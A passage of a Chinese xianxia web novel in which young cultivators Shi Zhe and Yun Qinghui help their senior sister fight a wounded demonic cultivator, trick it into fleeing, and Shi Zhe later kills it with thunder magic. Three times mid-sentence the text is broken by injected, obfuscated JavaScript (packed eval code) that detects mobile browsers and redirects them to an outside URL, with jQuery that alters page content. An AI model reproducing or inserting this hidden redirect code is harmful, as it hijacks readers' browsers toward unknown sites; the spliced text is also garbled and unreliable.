苏婉有些意外，但并未拒绝，大方地将那面古朴的铜镜取出递给他，并解释道： “此乃‘灵犀镜’，以特定术法口诀驱动后，可以连接上同样持有镜子的另一人。” 石蛰接过镜子，心中略微有些遗憾。他认识的人里，恐怕没有人会有这等稀罕的传讯镜器。但他还是兴致勃勃地拿在手中仔细端详，感受着其上冰凉的触感和玄奥的纹路。 从前，他听说了许多有关仙家，奥妙非凡的法器，如今终于让他看到真的了。 就在这时，陆通的声音在他脑海中响起，带着一丝戏谑：“嘿，小子，老夫恰好知道驱动这镜子的口诀，想不想试试？” 石蛰难以压下心头好奇心，道：“请前辈指教。” 陆通教了他两句口诀，以及灵气的驱动方式，石蛰依着陆通所述，将一丝微薄灵力依照特定路线注入镜中。 只见那原本黯淡无光的镜面忽然微微一亮，泛起一层极淡的、水波般的白光，虽然并未显现出任何影像，但这异动足以使石蛰兴奋！ 正坐在一旁休息的云清徽察觉到灵气波动，将目光投了过来。 石蛰后知后觉地收起灵力，镜面光芒随之熄灭，他结结巴巴地向云清徽解释：“我就是随意用灵气试了试，没想到它真的会亮……” 随意啊...... 云清徽看着他慌乱的模样和那面已然恢复普通的铜镜，眸光微闪，嘴角勾起了一抹意味深长的弧度，只轻轻“嗯”了一声，并未多问，转而起身道： “我先去沐浴了。”说罢走出亭子。 待云清徽离开后，陆通的声音再次响起：“你这同门模样倒是长得挺好看的。” 石蛰一听，下意识地挺起胸膛，与有荣焉般地骄傲道：“那是当然！” 陆通立刻嗤笑一声，毫不留情地嘲讽：“瞧把你得意的，他是你同门，又不是你老婆，你骄傲个什么劲？” 石蛰一愣，张了张嘴，一下子竟被噎住了，但他毫不畏惧地反驳道： “同门就不能骄傲了么？” “是是是，随便你。” 这毫无意义的口角纷争很快结束了。 晚饭时候，石蛰将镜子还给师姐，吃完饭，又照着之前几日，由云磬教他写字，一夜很快过去。 第四日一早，他们正欲离开，管家却来穿报，说外面有村民求见苏婉。 一见到苏婉，两个村民就连忙跪下： “仙师恕罪，打扰仙师清修！我们是隔壁方水镇安平村的村民，我们村外二十里的山上，近半月来出了一头不知名的凶兽，异常凶猛狡猾，专在夜间袭击过往行商旅客，已咬死了十余人。求仙师慈悲，除了这头野兽吧！” 青云山作为一方修仙大派，享此地香火供奉，庇护一方、除魔卫道本就是其责任所在。苏婉闻言，神色一肃，当即应承下来： “竟有此事？你放心，我等既已知晓，断不会坐视不管。” 她转向石蛰，云清徽道：“我们先去安平村除了凶兽，再回山上。” “是！” 于是，三人改变了行程，由村民引路，快马加鞭来到了安平村，村中气氛凝重，人心惶惶。 苏婉带着石蛰和云清徽与村里曾亲眼目睹过凶兽的村民细致交谈，据村民所言，那凶兽动作敏捷，快似闪电，因为天黑，无人能看清其全貌，唯有一双眼睛犹如燃烧的炭火般猩红。 苏婉决定当晚便行动，三人提前来到了此前多次发生命案的山道险要处。 苏婉问二人：“你们是何灵根属性？” 石蛰：“回师姐，我是雷灵根。” 云清徽：“我是水灵根。” “那好。” 苏婉点点头，从袖中取出四张符箓递给二人： “这是‘传音符’，入夜之后，我们分开行动，你们两人待在一处，若是发现凶兽踪迹，可用传音符通知我。” 她又分别递给石蛰和云清徽两张不同的符。 “这是两张‘引雷符’和‘驱水符’，若发生意外，可用灵力驱动使用，你们会用的吧？” 两人此前在课堂上学过如何使用符箓，当即点头。 “好，有什么事情就用传音符告诉我，你们刚刚入门，法力微薄，小心应变，若有意外应以保全自己为重。” “明白了，师姐。” 两边分开行动后，石蛰和云清徽藏在了一块巨大的山石之后，借着岩石的阴影和夜色的掩护，警惕地观察着周围漆黑的树林与寂静的山道。 与在青云山后山进行的试炼不同，诛杀凶兽是他们修行之人真正意义上的行侠仗义、斩妖除魔。 石蛰胸口不觉激荡，同时也忐忑不安，一股难掩的热血在心口沸腾，让他握着符箓的手都不觉微微出汗。 他忍不住侧头看向身边的云清徽，只见对方依旧是一副清冷平静的模样，目光沉凝地注视着前方黑暗，呼吸平稳悠长。 石蛰不由心生羡慕，学着他的模样，努力让自己冷静下来。 夜色越来越深，一轮惨白的孤月高悬于墨蓝色的天幕之上，清冷的光辉勉强照亮崎岖的山道，却在林木间投下更多扭曲诡异的阴影，四周寂静得只能听到风吹过草叶的沙沙声和自己的心跳。 忽然，一道快如鬼魅的黑影从不远处的林间猛地蹿过！ 石蛰用力握住云清徽的手腕，语气紧张：“是凶兽么？” 云清徽看着那黑影犹如闪电般迅捷的动作，点头道：“应该是。” 石蛰不再怀疑，他指尖夹着一张传音符，将灵力注入，符箓立刻散发出淡淡的荧光，他压低声音疾速道：“师姐，凶兽出现，正朝你所在的东南方向快速移动！” 苏婉的声音几乎立刻透过另一张符箓传来，清晰而冷静：“知道了，你们小心跟在它后方，保持距离，切勿打草惊蛇，我这就包抄过来。” 两人立刻依言，借着地形掩护，小心翼翼地尾随那道黑影。林间草木茂密，夜色惨淡，他们注意隐蔽行踪，看着黑影在林中跑了一阵后，窜入一片茂密的灌木丛，忽然停滞不动了。 两人不敢跟得太紧，以免暴露，就藏在灌木丛不远处的大树后，石蛰鼻尖动了动，转向云磬道：“你有闻到什么味道么？” 空气中弥漫起一股极其浓重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424787|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、令人作呕的甜腥气味，这血腥味浓烈得反常，其中还夹杂着一丝难以言喻的腐臭，让人从心底感到一阵强烈的厌恶与不安。 云磬脸色凝重地点了点头：“很浓的血腥味。” 就在这时，苏婉的身影如同轻燕般悄无声息地落在灌木丛另一头，她看到了躲在树后的二人，冲着他们做了个手势，让他们不要出来，自己则是慢慢靠近。 越是接近，血腥味就越是浓烈扑鼻，这是残害了多少生灵，汇聚了多少鲜血，才能形成如此可怕的气息？ 苏婉脸色一凝，不再犹豫，冷叱一声，手中长剑泛起灵光，一剑斩向那一片死寂的灌木丛！ 剑气纵横，灌木被凌厉的剑光绞碎纷飞，苏婉是筑基中期，别看她外表年轻，其实已三十多岁，在同辈之中也算佼佼者，她虽是医修，但修为同样不低。这一剑下去，若是寻常野兽，已经血肉横飞。 然而，想象中的场景并没有出现。 那黑影原本是匍匐着的，受剑气刺激，缓缓站了起来，露出隐藏在黑暗中的真容—— 那根本不是什么野兽！ 而是一个衣衫褴褛、看不清本来面貌的人！ 他身上衣服撕成布条，被大量暗红近黑的、早已干涸或未干的血污浸透，紧紧黏在身上。双眼赤红如血，完全看不到眼白与瞳孔，只有一片疯狂暴戾的猩红光芒。 手上攥着一截不知属于何种动物的、血肉模糊的残肢，原先蹲伏着的地方，赫然躺着一头死去多时的梅花鹿的尸体。 “是魔修！”苏婉失声惊呼，脸上写满骇然： “是受了重伤的魔修，神志已然不清！” 她瞬间明白过来，魔修功法诡异，常献祭生灵鲜血以助修行，一旦身受重伤，便会本能地渴求大量鲜血来修补损伤灵气，故而才会在此地频繁袭击行人！ “糟糕！”苏婉心知不妙，对方虽神志不清，但散发出的危险气息远非他们能敌。 她当即立断，对石蛰二人大喝：“快走！” 同时她自己也要抽身后退。 然而那陷入疯狂的魔修速度更快，口中发出一声不似人声的咆哮，周身黑红色邪气翻涌，整个人化作一道模糊的血影，直扑苏婉！ 苏婉只得咬牙挥剑格挡。 铛——！ 一声刺耳的金铁交鸣之声炸响，火星四溅！苏婉只觉一股蛮横霸道的力量沿着剑身传来，整条手臂都被震得发麻，虎口剧痛，已然迸裂渗出血丝，长剑险些脱手！ 她心中大骇，这魔修的力量远超她的预估！ 魔修一击得势，攻势更猛，双爪交错挥舞，带起道道腥风血影，如同狂风暴雨般向苏婉攻去，招式毫无章法，却狠辣无比，完全是以伤换命的打法。 苏婉不再硬拼，转而施展出青云剑法中的柔劲，长剑如同灵蛇般游走，不断格挡、卸开魔修疯狂的爪击，剑身与利爪碰撞，发出连绵不绝的“叮叮当当”声响 乍看之下，两人旗鼓相当，但苏婉深知，自己只是一时勉力格挡，时间一长，或者自己一旦露出破绽，对方那狂暴无比的攻击便会如决堤洪水般瞬间将她吞没，届时恐怕连一击都难以接下！ “走！”她看向站在十几步外的石蛰，云磬二人，用眼神喝令二人离开。 “走！”云清徽不再迟疑，抓着石蛰的手就要离开。 19.机智救人 正常情况下，以“云磬”和石蛰的实力，留下来只会添乱。石蛰也看清楚了这点，转身正欲和云清徽快速离开。 然而，两人虽然极力压低动静，但还是被那魔头察觉到了，那魔修见一时半会儿无法迅速拿下苏婉，竟舍弃了她，发出一声尖锐的嘶啸，周身魔气翻涌，化作一道腥风血影，以更快的速度直扑向试图逃离的石蛰和云清徽！ 凌厉的血爪带着撕裂空气的尖啸袭来，浓郁的魔气几乎令人窒息！ “散开！”云清徽低喝一声，与石蛰极为默契地同时向左右两侧狼狈地翻滚躲避，险之又险地避开了这致命一击。 魔修一击落空，猩红的双目凶戾地朝两边扫了一眼，最终转向石蛰方向，以石蛰从未见过的、根本来不及反应的速度，直冲他而去！ 石蛰心中警铃疯狂大作，一股冰冷强烈的死亡危机感瞬间攫住全身！ 此前与山林灵猴追逐时那种能模糊感知对方动作轨迹的奇异感觉此刻完全失效，更别提预判这魔头下一个动作！他只觉得一股带着浓重邪异和血腥味的魔气如同重锤般当头压来，震得他神魂欲裂，呼吸困难！ 那魔头干枯扭曲的利爪已然张开，五指如钩，带着污秽的黑芒，眼看就要扣住石蛰的脖颈！ 就在这千钧一发之际！ 苏婉及时赶到，手握长剑，硬生生挡在了石蛰与魔修之间！ 她一边和魔修激战，一边厉声喊：“走！” 石蛰和云清徽不敢逗留，两人以最快速度跑下山。 “砰”的一声，两人脚步猛地一顿，身后苏婉终究不敌魔修，被他一掌击中左肩，苏婉被击飞出去，口中喷出鲜血！ “师姐——！”石蛰目眦欲裂，几乎要冲回去。 “你小子想干嘛？”陆通及时在脑中喝止他：“你小子现在跑回去就是自寻死路！” “我知道，可是——” 受了这一击之后，苏婉的状况急转直下，剑招连连出错，步伐也失去了之前的轻盈，原本还能勉强周旋的局面顷刻崩塌，眼看着就要落入彻底的下风。 会死！ 如果现在他们离开，苏婉师姐就会死！ “我——” 他的脚步如同被无形的枷锁死死钉在原地，胸腔里仿佛有无数只手在疯狂撕扯，想要逃生的渴望和对师姐见死不救的罪恶感无力感拉锯着他。 “我，不能......” “你想不想救师姐？”一旁云清徽突然开口。 石蛰眼睛猛然一亮。 “想！” “那我们得想想办法。”云清徽将石蛰拉到一旁，他脸上是近乎绝情的冷静。 “那魔头既然知晓在夜晚伤人，就说明他不想被人知道他在这里，说明他还有神志，且畏惧青云山的修士前来除魔卫道，这说明他伤得非常重。” 石蛰迫不及待地说：“然后呢？” “然后......” 云清徽略一思索后目光一亮：“你的御剑术学得如何？” 石蛰一愣，飞快道：“还行？” “好，如此，你这么做——” 林中，苏婉被魔修一爪击中腹部，惨哼一声，再次倒飞出去，她重重摔落在地，只觉得五脏六腑都移了位，灵力在飞快消耗。看着步步紧逼的魔头，她内心一片绝望，今日她可能真的要死在这里了。 就在她万念俱灰之际—— “师姐莫慌，坚持住！师傅他老人家已经到了！您再撑片刻就好！” 一道声音突然从远处飘来，脚步声越来越近，显得满是喜悦，正是她之前让“走”的弟子之一。 师傅，什么师傅？ 苏婉心中顿时涌起一片荒谬绝伦之感。她此次下山巡查药田，顺带处理疑似凶兽伤人之事，自认完全在能力范围之内，根本未曾上报师门，又哪来的师傅？ 然而，还未等她细想—— “师姐勿忧！师傅带着诸位师弟到了！” 一道粗犷浑厚的男声平地炸响，犹如千里传音一般，清晰地撞进在场人耳中。除男声之外，还有一道更低沉的、持续不断的嗡鸣声，那是剑身在承受巨大风压下，以灵力驱使，破开空气时产生的共鸣。 这道呼呼风声由远及近，持续不断。 几乎在同一时间！ 轰咔——！ 一道粗壮如虬龙般的金色雷霆，毫无征兆地撕裂墨黑色的天幕，在众人所在的山头上头炸开，如同上神雷霆一怒。 云清徽的声音又适时地响起，他挥臂大喊：“师傅！我们在这里！” 电光火石之间，苏婉明白了这两个外门师弟在做什么！她强压下翻涌的气血，用剑支撑起身体，配合着露出极度惊喜的神色，朝着天空虚弱的喊道： “太好了！师傅，您终于来了！” 那魔修被这接连的变故弄得一愣，猩红的眼睛惊疑不定地左看看右看看，又看着上方赫然接近的御剑声。 残存的神志被这突如其来的“围攻”所震慑，对青云山高手的恐惧瞬间占据了上风！ “吼——！”魔修发出一声不甘的嘶吼，竟然不再理会近在咫尺的苏婉和不远处的云清徽二人，猛地转身，化作一道血影，以比来时更快的速度，仓皇地朝着密林深处逃窜而去。 苏婉紧绷的心神和身体在那魔修仓皇逃离的瞬间，一下子彻底泄了力，几乎软倒在地。 云清徽反应极快，立刻上前一步，稳稳地搀扶住她几乎瘫软的身体。 而石蛰也操控着那柄还在微微嗡鸣的飞剑从低空迅速靠近，不等飞剑完全停稳，他便心急火燎地从丈许高的地方猛地跳了下来，和云清徽一左一右扶住苏婉。 苏婉脸色苍白如纸，气息微弱，看着两人，嘴唇翕动，虚弱地吐出几个字：“你们两个……” “师姐你别说话了！保存体力，一切等安全了再说，我们先下山！” 苏婉也知道此刻绝非追问详情的时机，便不再多言，任由两人搀扶着，迅速朝着山下安平村的方向撤离。 到了安平村，老村长果然还带着几个青壮汉子在村口焦急地等候着，火把的光芒在夜风中摇曳。一看到三位仙师回来，尤其是看到被搀扶着的浑身染血的苏婉，村长顿时吓得脸色发白，连忙迎了上来： “仙师！这……这是怎么了？那凶兽……” 苏婉强打起精神，用尽可能平稳的声音安抚道：“村长不必惊慌，那魔物已暂时被我等击退。我已用秘法向师门传递了讯息，众师兄弟已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们悄无声息地起身，迅速走出暂居的小院，循着那越来越清晰的血腥味来源望去——只见村口方向，一个踉跄却速度不慢的黑影，正散发着浓郁的邪气，一步步朝着村庄内部逼近！ 石蛰脸色瞬间大变，压低声音惊骇道：“他怎么会——” 如果让这神志不清、只知嗜血的魔修闯进村子，届时不只是他们和正在疗伤的苏婉师姐，这满村毫无反抗之力的百姓恐怕都将惨遭毒手！ 云清徽的神色也彻底冷了下来，显然也想到了这一层。 石蛰喉结滚动了一下，艰难地开口，声音干涩：“云磬……” “我去引开他。”云清徽倏忽开口，说出的话惊骇无比，语气却异常平静。 “不——！”石蛰脸色骤变，想也不想地反对：“太危险了！” “除此以外，你还有别的办法么？” 云清徽打断他，声音依旧没什么起伏，却透着决绝。 “唯有如此，方有一线生机。” 他说罢，正要走出，一旁石蛰伸手一把将他拉了回去。 “我去！” 少年怒吼一声，不待云清徽反驳，身体便如离弦之箭冲了出去，朝着魔修方向跑去。 20.三次设计结束 “蠢材，糊涂！”与此同时，陆通气急败坏的吼声在脑海震响： “又想逞英雄，当真不要命了吗？！” 然而石蛰却仿佛听不到陆通的怒吼，他一心只有一个念头：在天亮之前拖住魔头！ 他咬着牙关，将全身的灵力都灌注于双腿，拼命向着村外更空旷的方向冲去，试图将魔修的注意力彻底吸引到自己身上。 那魔修果真看到了他，怒吼一声，调转方向，冲着石蛰追了过去！ 百步开外，云清徽静默地伫立在屋顶上，夜风吹拂起他额前的几缕碎发和衣角，他如同一尊没有生命的玉雕，一动不动。 清冷的目光遥遥追随着那一逃一追、迅速消失在黑暗荒野中的两道身影，脸上没有任何表情，只有一片深不见底的平静。 —— 陆通见事已至此，无可奈何，只能急声道：“援军天亮就到，距离天亮只剩一个时辰，你只需周旋拖延，坚持到天亮即可！” 然而，石蛰的速度远不及魔修，不过几个呼吸间，身后那令人窒息的腥风便已迫近！ 背后恶风袭来，石蛰想也不想便猛地向左侧扑倒翻滚，一道裹挟着黑红色邪气的利爪擦着他的后背掠过，将他刚才所在位置的地面抓出三道深沟！ 石蛰狼狈爬起，还未站稳，第二波攻击又至！ 魔修双臂狂乱挥舞，道道凝练的魔气如同实质的鞭子般抽打过来，破空声尖锐刺耳。石蛰只能拼命挥舞长剑格挡，每一次碰撞都震得他虎口崩裂，手臂酸麻，气血翻腾不休，脚下更是被那巨大的力量推得连连后退，在地上犁出深深的痕迹。 “躲不了！”陆通大喊：“攻击他的眼睛！” 石蛰咬紧牙关，看准一个空隙，猛地矮身前冲，长剑如毒蛇出洞，直刺向魔修那双猩红的眼睛！剑尖险之又险地划过魔修的眼皮，黑血喷涌而出！ 魔修吃痛怒吼，但攻击反而因狂怒而变得更加疯狂激烈，完全不顾自身防御。 “糟糕！”陆通声音凝重：“他已彻底失控，丧失神智，全凭杀戮本能行动，比之前更难缠！你小子真是多灾多难！” “别说风凉话了！快想办法！”石蛰一边狼狈躲闪，一边在脑中怒吼。 “为今之计，只有攻击其要害，令他暂时失去行动能力！雷电系法术至刚至阳，威力巨大，最为克制邪魔！老夫现教你一招‘掌心雷’，听好口诀和灵力运转方式……” 陆通语速极快地将一段简洁却玄奥的法诀和灵力引导方式灌输给石蛰。 “他现在双目已盲，只能凭对灵气的感知攻击你。但他走火入魔，灵气感知混乱，你只需稍稍压制自身灵气波动，他便不易察觉你所在！” 石蛰强记口诀，一边艰难闪躲，一边将魔修引向一处乱石嶙峋处，通过击打石头分散魔修注意力，同时压下自身灵气，绕到一块巨岩之后，看准时机，依照陆通所授，掌心骤然爆发出耀眼的电光，狠狠轰向魔修腹部！ “轰！” 雷电炸开，魔修发出一声惨嚎，腹部一片焦黑。 村子里，一直凝望战局的云清徽眸光骤然一凝，低语中带着一丝难以置信的疑惑：“雷电术？他何时学会的？” 然而，这一击虽中，却也彻底暴露了石蛰的位置。魔修狂性大发，血腥的魔气铺天盖地般压来，几乎令石蛰窒息。他躲闪不及，被一道魔气狠狠击中胸口，顿时倒飞出去，口中喷出鲜血。 魔修迅疾扑上，石蛰慌忙举剑格挡，“铛”的一声，长剑竟被硬生生击飞脱手！ 下一刻，一只冰冷枯瘦的手死死掐住了他的脖子，巨大的力量让他瞬间无法动弹，眼前阵阵发黑。 “我不能死……” 强烈的求生欲在脑中咆哮，石蛰几乎是本能地再次凝聚起刚刚学会的、并不熟练的雷法，这一次，电光直接轰向魔修的脖子！ 脖颈脆弱，魔修不敢硬抗，松手踉跄后退。石蛰得以喘息，连滚带爬地逃开几步，下意识地伸手一招—— “剑来！” 不远处的长剑发出一声嗡鸣，凌空飞起，稳稳落回他手中！ “你何时学会的这一招？！”陆通惊讶不已。 “我也不知道！你能先别管这个么！”石蛰喘着粗气，紧握长剑，全神戒备着再次逼近的魔修。 陆通沉默一瞬，忽道：“有办法了！你用剑招佯攻吸引其注意，实则暗聚雷法近身突袭，直击心脏！此一击必须成功，否则再无机会！” 石蛰闻言，毫不迟疑，依计而行，他用灵气控制长剑，使之发出铮鸣之音，不时袭击魔修，吸引魔修注意力，自己则藏在暗处伺机寻找机会。 眼看魔修一步步被剑鸣声吸引过去，石蛰沉下一口气，整个人如同蛰伏已久的猎豹骤然爆发，贴着地面疾奔而出，瞬间掠过数丈距离，悄无声息地迫近至魔修背后！ 紧接着，他腰腹猛地发力，一个矮身滑步，如同泥鳅般避开魔修周身散逸的混乱魔气，脚步一错，迅捷地绕到了正前方！ 魔修察觉到身后出现活人气息，下意识地便要转身挥手向前撕扯！这一动作，恰好将毫无防护的左胸心脏区域暴露了出来！ 石蛰再不迟疑，掌心凝聚出刺目雷光，毫不留情地捅进了魔修暴露出的胸膛！ “噗嗤”一声，雷法术狂暴的能量冲入魔修体内，在其心脏部位炸开！ 几乎在同一瞬间，一股难以想象的反震之力痉挛传开，魔气外涌，石蛰的手腕根本无法承受这股蛮横的力量，发出一声清晰的、令人心悸的骨裂声，瞬间以一个不自然的角度扭曲折断！ 钻心的剧痛席卷而来！ “嗷吼——！！！” 魔修发出了一声凄厉至极的恐怖嚎叫，挥出一掌，结结实实地打在石蛰的胸膛上！ 石蛰身体倒飞出去，如同断线的风筝般摔落在地，鲜血如同泼墨般从口中喷涌而出。 “我们成功了！”陆通惊喜喊道。 石蛰面如金纸，勉强用手肘支撑身体，听到这话刚欲松气，下一刻却骇然睁大了眼睛！ 那魔修竟颤颤巍巍地又站了起来！ 他左胸口处一个碗口大小、边缘焦黑碎裂的可怖空洞赫然呈现，雷击的残留能量还在伤口边缘发出细微的噼啪声，然而，就是承受了如此可怕的伤势，他居然没有立刻倒下毙命！ “不可能！”陆通先是一惊，继而顿悟：“他修的是魔功，他将心脏移位了！右边！他的心脏在右边！” 魔修发出嗬嗬的怪声，踉跄着走向石蛰，石蛰则因失血和剧痛无法动弹，灵气也无法再隐藏。 魔修胸口那可怖的伤口处的血肉正在缓慢蠕动，试图修复，但如此重的伤势需要大量的鲜血和灵气补充。此刻，重伤的石蛰无疑是他最好的“补药”！ 陆通脑子飞快转动，却想不出任何应对之策。即便此刻用宝鼎为石蛰疗伤，也绝对快不过魔修杀戮的速度！ 魔修干枯的手掌伸向石蛰的头顶，死亡的气息笼罩而下，陆通和石蛰几乎同时绝望地闭上了眼睛。 石蛰脑中走马灯般闪过在武馆长大的点点滴滴，无数画面交织重叠，最后尽数归为平静，只剩下最后一个清晰而执着的念头： “我已经拖延了足够久的时间，师姐和云磬，应该能等到援军了……” 就在魔修的手即将落下的那一刻，他动作忽然一顿，另一只手猛地插入自己右胸，竟从中掏出了一面仅有手指大小、散发着浓郁黑红色邪气的幡旗。那幡旗遇风即长，瞬间变为手掌大小。 “是了！” 陆通也想到了：“魔修多以摄魂幡、血鼎之类法器作为修炼媒介，由法器吸收血液转化灵气反哺自身。” 那摄魂幡飘落下来，正好盖在石蛰胸口，顿时发出幽暗的黑红色光芒，就要开始强行抽取石蛰的精血！ 就在这一刻—— 石蛰胸口鸿蒙宝鼎骤然爆发出璀璨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435719|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夺目的金色光芒，一股庞大的吸力自鼎中产生，反而开始疯狂吞噬摄魂幡内已被转化的精纯灵气！ “好法器！哈哈，好宝贝！” 鼎内，陆通感受到汹涌而来的的精纯能量，原本虚化的形象骤然凝实许多。 不禁放声大笑：“不愧是天地至宝！小子，老夫来助你一臂之力！” 鼎内空间因瞬间吸纳过多能量而灵气暴涨，陆通手掐法诀，全力引导这股浩瀚灵气，灌入石蛰那几乎破碎的身体经脉之中！在这股庞大力量的冲击下，石蛰身上折断的骨骼、大大小小流血的伤口竟以肉眼可见的速度被修复、填补！ “呃啊！” 石蛰猛地睁开眼睛，他还不太明白发生了什么，但身体里充盈的力量和修复的伤势让他清楚——必须趁现在杀了眼前这魔头！ 他不顾手臂再次折断的危险，再次全力运转灵力，左手凌空御剑，长剑嗡鸣作响，剑身竟自行缠绕上道道璀璨的雷电光芒！ “这是……以气御剑，剑法合一？！”陆通眼中闪过极大的惊艳，这小子在极度危机下竟爆发如此潜力，无师自通了这般高阶技巧！ 长剑如同雷龙出洞，剑身发出撕裂空气的尖啸，以远超之前的速度和威势，刺向魔修右胸心脏所在！ 这一次，魔修避无可避！ “噗嗤！”长剑笔直刺穿魔修右胸，金色雷光没有爆开，反而如灵蛇般骤然收敛凝聚，顺着冰冷的剑身疾速流窜，闪电般击穿魔修心脏！ 魔修身体迅速枯竭，他一个抬首，回光返照般伸出一只枯爪，死死抓住了石蛰来不及收回的手臂！ 一股阴寒刺骨的魔气从枯爪中疯狂涌出，如同活物般顺着石蛰的手臂急速蔓延！石蛰的手臂肉眼可见地覆盖上一层厚厚的、冒着森然寒气的白霜。 “不好！快震开他！” 石蛰咬牙，右腿凝聚起全部力量，猛地一记重踹，狠狠蹬在魔修腹部！ 魔修被这巨力踹得倒飞出去，石蛰再次凝聚意念，收回长剑，而后一个猛掷，长剑脱手而出，将魔修死死钉在后方一棵粗壮的古树树干之上！ 魔修的身体被长剑贯穿，钉在树上，剧烈地挣扎抽搐了几下，最终头颅一歪，身上那令人窒息的邪气彻底消散，再也不动了。 “你赢了，小子，你赢了！” “嗬……嗬……” 石蛰也脱力地跪倒在地，连续超越极限地动用灵力让他遭到严重反噬，再次吐血。浑身无处不痛，仿佛散架一般。 他艰难地起身，眼前一阵黑一阵白。他踉跄着走到树前，拔回自己的剑，以剑支撑着身体，虚弱地说： “我得回去……” 陆通还欲说什么，但石蛰与宝鼎的连接因他力竭而暂时中断了。 石蛰喘着粗气，每一次呼吸都牵扯着全身无处不在的剧痛。他以剑拄地，支撑着摇摇欲坠的身体，一步一步往回走。 此时，东方的天际泛起一丝极淡的、朦胧的灰白色，如同稀释了的墨汁。微弱的天光投在村口一个人影身上，仿佛已等待许久。 待看清人影，石蛰苍白的脸上露出一个如释重负的笑，身体一软，向前倒去。 云清徽上前一步，接住了他倒下的身体，缓缓将其放在地上。 石蛰脸色灰白，气息微弱，游丝一般。 云清徽的手指轻轻搭在少年的脖颈上，感受着底下微弱的脉动。此刻只要他稍稍用力，这一次，无论是什么奇遇，恐怕都救不了这少年。 “......” 他的手指停留了片刻，最终缓缓收回，转而轻柔地拂过石蛰脸颊上那一抹已经干涸的血迹。 “睡吧。” 他低声说道，声音是他自己都未曾察觉的温和。 “没事了，一切都过去了。” 晨光终于彻底驱散了黑暗，洒落在相叠的两人身上，只见其中一人背起另一人，一步一个脚印沉稳地走进村子。 21.战后 石蛰是在一片温柔的暖意中醒来的。 有什么湿润柔软的东西正轻轻擦拭他的脸颊，带走他的疲倦，带来难以言喻的舒适感。他费力地掀开沉重的眼皮，模糊的视线逐渐聚焦，映入眼帘的是云清徽那张清俊出尘的脸。 他微垂着眼，长睫在眼下投下一小片鸦青色的阴影，正神情专注而柔和地为他擦拭脸颊。 “你醒了。”注意到他的动静，云清徽开口，声音一如既往的平静，让石蛰分外安心。 石蛰张了张嘴，喉咙干涩得发不出声音。 云清徽似是明了，将一杯温水小心地递到他唇边，喂他慢慢喝下。清凉的水流滋润了喉咙，石蛰终于能发出微弱的声音：“我……睡了多久？” “两天两夜。”云清徽放下水杯：“你伤得很重。” 两天两夜？ 石蛰心中一惊，挣扎着想坐起来，却被全身散架般的剧痛阻止，忍不住闷哼一声。 就在这时，外间的门帘被掀开，几道人影走了进来。为首的是两位身着棕色长袍的中年修士，气息沉凝，修为显然不低。而跟在他们身后，则是一脸欣喜的苏婉。 “石师弟，你终于醒了！太好了！” 苏婉看到他睁着眼，立刻快步上前，脸上是毫不作伪的激动和庆幸，之前的阴霾一扫而空。 看到苏婉安然无恙，石蛰心中一松，但随即与魔修对战的记忆碎片如同潮水般涌入脑海，他看着面前两位神色严肃的修士，心里咯噔一下，面上却努力维持着刚刚醒来的虚弱和茫然，声音沙哑地问： “师姐，你没事了？伤都好了？” “好了好了，我服用了师门送来的灵药，已无大碍了。倒是你......” 这时，一个气质沉稳的中年男子走上前来，温和地开口：“我想与石弟子单独说会话，两位请先暂避片刻。” 房中其余人便退出去，临关门前，苏婉还给了石蛰一个“别怕”的眼神。 屋里只剩下石蛰和那位中年修士。 石蛰的心脏不受控制地剧烈跳动起来，他立刻将意识沉入鼎内，焦急地呼唤：“前辈！前辈！怎么办？他们肯定要问那天的事！” 然而，鼎内传来的却是陆通无奈又带着一丝烦躁的声音：“臭小子，你这两天昏迷不醒，意识封闭，老夫与你连接不上，根本不知道后来发生了什么！你让我如何帮你？” 石蛰心里一凉。 陆通又道：“总之，不管他问什么，你都咬死说你什么都不知道就行了。” 石蛰无奈，只好所有注意力都用来应付男人。 那中年男子察觉到石蛰的不安，以为他是紧张，安抚道：“不必紧张，我只是例行询问几句，你如实回答便可。” “那天晚上，具体发生了什么？” 石蛰深吸一口气，压下心中的惊涛骇浪，努力做出回忆和后怕的样子，断断续续地开始叙述： “那天，师姐回村疗伤后，那魔修不知怎么追到了村子里，云磬说要出去引开他，我抢先他一步跑了出去。我跑不过魔修，被他追上后只能奋力御剑抵挡，但很快落了下风，他一掌将我挥开，我就昏了过去，意识全无，再醒来，就是刚刚了。” 中年男子若有所思地点了点头，又问：“那么，在你昏迷之前，可有察觉到什么不同寻常的人？或者听到、感受到什么怪异之事？” 石蛰心中一凛，面上露出恰到好处的茫然，反问道：“什么不同寻常的人？没有啊，那魔修怎么样了？他死了吗？” ——这小子，还挺聪明的。 陆通在鼎内赞了一句。 “你放心，那魔修已经伏诛。应是一位路过的金丹期前辈修士出手，将其斩杀了。” “什么金丹修士？” 这回，石蛰和陆通是实实在在的愣住了。 金丹修士？哪来的金丹修士？ 石蛰也瞬间明白了对方方才为何要那样问自己，他做出惊讶状：“金丹期的前辈？是我们师门的哪位师兄师姐吗？” 